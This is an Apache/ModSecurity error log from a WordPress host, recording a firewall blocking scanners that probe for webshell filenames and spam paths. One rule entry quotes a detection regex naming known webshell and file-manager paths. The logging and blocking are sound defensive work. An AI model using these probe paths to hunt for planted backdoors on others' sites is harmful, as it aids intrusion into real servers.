[Sun Mar 01 10:06:40.639126 2026] [:error] [pid 8688:tid 8705] [client 79.137.65.139:37282] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaOfMDHJ4Nn-RvulD0rPagAAAU8"]
[Sun Mar 01 10:06:42.552492 2026] [:error] [pid 33539:tid 33565] [client 79.137.65.139:37296] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aaOfMtCsLwBYg4s018utcQAAAdM"]
[Sun Mar 01 10:06:46.274625 2026] [:error] [pid 33767:tid 33787] [client 79.137.65.139:37298] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aaOfNkGyeKe3MWsxvBj_6QAAAhE"]
[Sun Mar 01 10:06:48.237002 2026] [:error] [pid 33539:tid 33561] [client 79.137.65.139:38224] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aaOfONCsLwBYg4s018utgQAAAdA"]
[Sun Mar 01 10:06:50.246214 2026] [:error] [pid 33229:tid 33233] [client 79.137.65.139:38228] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaOfOnzT4c9ddlGE6FxHRQAAAYI"]
[Sun Mar 01 10:06:52.666417 2026] [:error] [pid 21263:tid 21281] [client 79.137.65.139:38230] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aaOfPNAxjzLvN1upBhkKqwAAAM4"]
[Sun Mar 01 10:06:55.030787 2026] [:error] [pid 21263:tid 21270] [client 79.137.65.139:38244] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aaOfP9AxjzLvN1upBhkKsgAAAMM"]
[Sun Mar 01 10:16:41.845827 2026] [:error] [pid 21263:tid 21274] [client 49.7.227.204:32846] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaOhidAxjzLvN1upBhkOHgAAAMc"]
[Sun Mar 01 12:01:11.651020 2026] [:error] [pid 33229:tid 33252] [client 91.92.242.178:39126] [client 91.92.242.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaO6B3zT4c9ddlGE6FxlbAAAAZU"]
[Sun Mar 01 12:01:41.853523 2026] [autoindex:error] [pid 33539:tid 33558] [client 91.92.242.178:44326] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 12:44:29.824175 2026] [:error] [pid 21159:tid 21236] [client 20.104.206.150:4057] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "aaPELeLi3ouy1NZIkgpqkgAAAI8"]
[Sun Mar 01 12:44:30.599189 2026] [:error] [pid 21156:tid 21190] [client 20.104.206.150:3980] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "aaPELqsaG_9IkG8N2p0nLwAAABg"]
[Sun Mar 01 12:44:31.206743 2026] [:error] [pid 34286:tid 34303] [client 20.104.206.150:3969] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "aaPEL3PFxpCIhHW6Xmm8qwAAAo8"]
[Sun Mar 01 12:44:31.716804 2026] [:error] [pid 34286:tid 34304] [client 20.104.206.150:4045] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "aaPEL3PFxpCIhHW6Xmm8rAAAApA"]
[Sun Mar 01 12:44:32.189641 2026] [:error] [pid 35060:tid 35073] [client 20.104.206.150:4004] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.phpa"] [unique_id "aaPEMJL8JPoS_tq-tiUW7QAAA0s"]
[Sun Mar 01 12:44:32.720306 2026] [:error] [pid 35060:tid 35068] [client 20.104.206.150:4053] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.phpa"] [unique_id "aaPEMJL8JPoS_tq-tiUW9AAAA0Y"]
[Sun Mar 01 12:44:33.186873 2026] [:error] [pid 35060:tid 35073] [client 20.104.206.150:3968] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.phpa"] [unique_id "aaPEMZL8JPoS_tq-tiUW-QAAA0s"]
[Sun Mar 01 12:44:33.702696 2026] [:error] [pid 35060:tid 35073] [client 20.104.206.150:4093] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.phpa"] [unique_id "aaPEMZL8JPoS_tq-tiUW_wAAA0s"]
[Sun Mar 01 12:44:34.253767 2026] [:error] [pid 34785:tid 34789] [client 20.104.206.150:3915] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/defaults.php"] [unique_id "aaPEMoC4dBNEGEcJx-OWrgAAAwI"]
[Sun Mar 01 12:44:34.768509 2026] [:error] [pid 21159:tid 21225] [client 20.104.206.150:4046] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/defaults.php"] [unique_id "aaPEMuLi3ouy1NZIkgpqlAAAAIQ"]
[Sun Mar 01 12:44:35.363078 2026] [:error] [pid 35060:tid 35073] [client 20.104.206.150:3974] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/defaults.php"] [unique_id "aaPEM5L8JPoS_tq-tiUXBgAAA0s"]
[Sun Mar 01 12:44:35.851279 2026] [:error] [pid 21156:tid 21167] [client 20.104.206.150:4075] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/defaults.php"] [unique_id "aaPEM6saG_9IkG8N2p0nNAAAAAE"]
[Sun Mar 01 12:44:36.415752 2026] [:error] [pid 24576:tid 24604] [client 20.104.206.150:3978] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/im.php"] [unique_id "aaPENIvfb5CnctJh071U8QAAARg"]
[Sun Mar 01 12:44:37.017343 2026] [:error] [pid 35654:tid 35658] [client 20.104.206.150:3977] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/im.php"] [unique_id "aaPENUIPeuEwCTirofKk_QAAA8A"]
[Sun Mar 01 12:44:37.627395 2026] [:error] [pid 34785:tid 34789] [client 20.104.206.150:4079] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/im.php"] [unique_id "aaPENYC4dBNEGEcJx-OWswAAAwI"]
[Sun Mar 01 12:44:38.177484 2026] [:error] [pid 34286:tid 34304] [client 20.104.206.150:4036] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/im.php"] [unique_id "aaPENnPFxpCIhHW6Xmm8sgAAApA"]
[Sun Mar 01 12:44:39.251832 2026] [:error] [pid 21159:tid 21224] [client 20.104.206.150:4010] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-comments-post.php"] [unique_id "aaPEN-Li3ouy1NZIkgpqogAAAIM"]
[Sun Mar 01 12:44:40.515623 2026] [:error] [pid 35060:tid 35068] [client 20.104.206.150:4073] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-comments-post.php"] [unique_id "aaPEOJL8JPoS_tq-tiUXDAAAA0Y"]
[Sun Mar 01 12:44:41.533214 2026] [:error] [pid 21159:tid 21242] [client 20.104.206.150:3981] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-comments-post.php"] [unique_id "aaPEOeLi3ouy1NZIkgpqpAAAAJU"]
[Sun Mar 01 12:44:42.137051 2026] [:error] [pid 34286:tid 34309] [client 20.104.206.150:4003] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-comments-post.php"] [unique_id "aaPEOnPFxpCIhHW6Xmm8xgAAApU"]
[Sun Mar 01 12:44:42.830275 2026] [:error] [pid 34286:tid 34306] [client 20.104.206.150:4064] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache-compat.php"] [unique_id "aaPEOnPFxpCIhHW6Xmm8ywAAApI"]
[Sun Mar 01 12:44:43.447975 2026] [:error] [pid 34286:tid 34306] [client 20.104.206.150:3992] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache-compat.php"] [unique_id "aaPEO3PFxpCIhHW6Xmm80AAAApI"]
[Sun Mar 01 12:44:43.935624 2026] [:error] [pid 21158:tid 21216] [client 20.104.206.150:3987] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache-compat.php"] [unique_id "aaPEOzriSIe3-pWnbPYfOwAAAFc"]
[Sun Mar 01 12:44:44.594814 2026] [:error] [pid 33976:tid 33996] [client 20.104.206.150:4077] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache-compat.php"] [unique_id "aaPEPAUyU3c4Xm_xpMTb5wAAAlI"]
[Sun Mar 01 12:44:45.183093 2026] [:error] [pid 21156:tid 21190] [client 20.104.206.150:4048] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaPEPasaG_9IkG8N2p0nVQAAABg"]
[Sun Mar 01 12:44:45.760742 2026] [:error] [pid 34286:tid 34309] [client 20.104.206.150:3976] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaPEPXPFxpCIhHW6Xmm81wAAApU"]
[Sun Mar 01 12:44:46.192335 2026] [:error] [pid 33229:tid 33251] [client 20.104.206.150:3940] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaPEPnzT4c9ddlGE6FxwXgAAAZQ"]
[Sun Mar 01 12:44:46.761290 2026] [:error] [pid 21158:tid 21216] [client 20.104.206.150:4051] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaPEPjriSIe3-pWnbPYfRQAAAFc"]
[Sun Mar 01 12:44:47.203856 2026] [:error] [pid 35060:tid 35073] [client 20.104.206.150:3916] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaPEP5L8JPoS_tq-tiUXGAAAA0s"]
[Sun Mar 01 12:44:47.715940 2026] [:error] [pid 33976:tid 33995] [client 20.104.206.150:3998] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaPEPwUyU3c4Xm_xpMTb6QAAAlE"]
[Sun Mar 01 12:44:48.201821 2026] [:error] [pid 33976:tid 34000] [client 20.104.206.150:4023] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaPEQAUyU3c4Xm_xpMTb6gAAAlY"]
[Sun Mar 01 12:44:48.749172 2026] [:error] [pid 35060:tid 35068] [client 20.104.206.150:4056] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaPEQJL8JPoS_tq-tiUXGwAAA0Y"]
[Sun Mar 01 12:44:49.203266 2026] [:error] [pid 21156:tid 21190] [client 20.104.206.150:4043] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaPEQasaG_9IkG8N2p0nWAAAABg"]
[Sun Mar 01 12:44:49.711786 2026] [:error] [pid 34286:tid 34304] [client 20.104.206.150:4022] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaPEQXPFxpCIhHW6Xmm88wAAApA"]
[Sun Mar 01 12:44:50.350169 2026] [:error] [pid 33229:tid 33237] [client 20.104.206.150:4058] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaPEQnzT4c9ddlGE6FxwYAAAAYY"]
[Sun Mar 01 12:44:50.884567 2026] [:error] [pid 33229:tid 33231] [client 20.104.206.150:3870] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaPEQnzT4c9ddlGE6FxwYwAAAYA"]
[Sun Mar 01 12:44:51.631157 2026] [:error] [pid 33229:tid 33243] [client 20.104.206.150:3982] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/otuz1.php"] [unique_id "aaPEQ3zT4c9ddlGE6FxwaAAAAYw"]
[Sun Mar 01 12:44:52.093868 2026] [:error] [pid 35060:tid 35066] [client 20.104.206.150:3971] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/otuz1.php"] [unique_id "aaPERJL8JPoS_tq-tiUXHAAAA0Q"]
[Sun Mar 01 12:44:52.773829 2026] [:error] [pid 34785:tid 34789] [client 20.104.206.150:4047] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/otuz1.php"] [unique_id "aaPERIC4dBNEGEcJx-OWxgAAAwI"]
[Sun Mar 01 12:44:53.313416 2026] [:error] [pid 34785:tid 34793] [client 20.104.206.150:4070] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/otuz1.php"] [unique_id "aaPERYC4dBNEGEcJx-OWyAAAAwY"]
[Sun Mar 01 12:44:53.879771 2026] [:error] [pid 33976:tid 33980] [client 20.104.206.150:3979] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-files.php"] [unique_id "aaPERQUyU3c4Xm_xpMTb9gAAAkI"]
[Sun Mar 01 12:44:54.367501 2026] [:error] [pid 34785:tid 34793] [client 20.104.206.150:3970] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-files.php"] [unique_id "aaPERoC4dBNEGEcJx-OWygAAAwY"]
[Sun Mar 01 12:44:54.871036 2026] [:error] [pid 21156:tid 21176] [client 20.104.206.150:3907] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-files.php"] [unique_id "aaPERqsaG_9IkG8N2p0ncgAAAAo"]
[Sun Mar 01 12:44:55.320088 2026] [:error] [pid 34785:tid 34793] [client 20.104.206.150:4052] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-files.php"] [unique_id "aaPER4C4dBNEGEcJx-OWzgAAAwY"]
[Sun Mar 01 12:44:55.768665 2026] [:error] [pid 21156:tid 21167] [client 20.104.206.150:3963] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "aaPER6saG_9IkG8N2p0nfQAAAAE"]
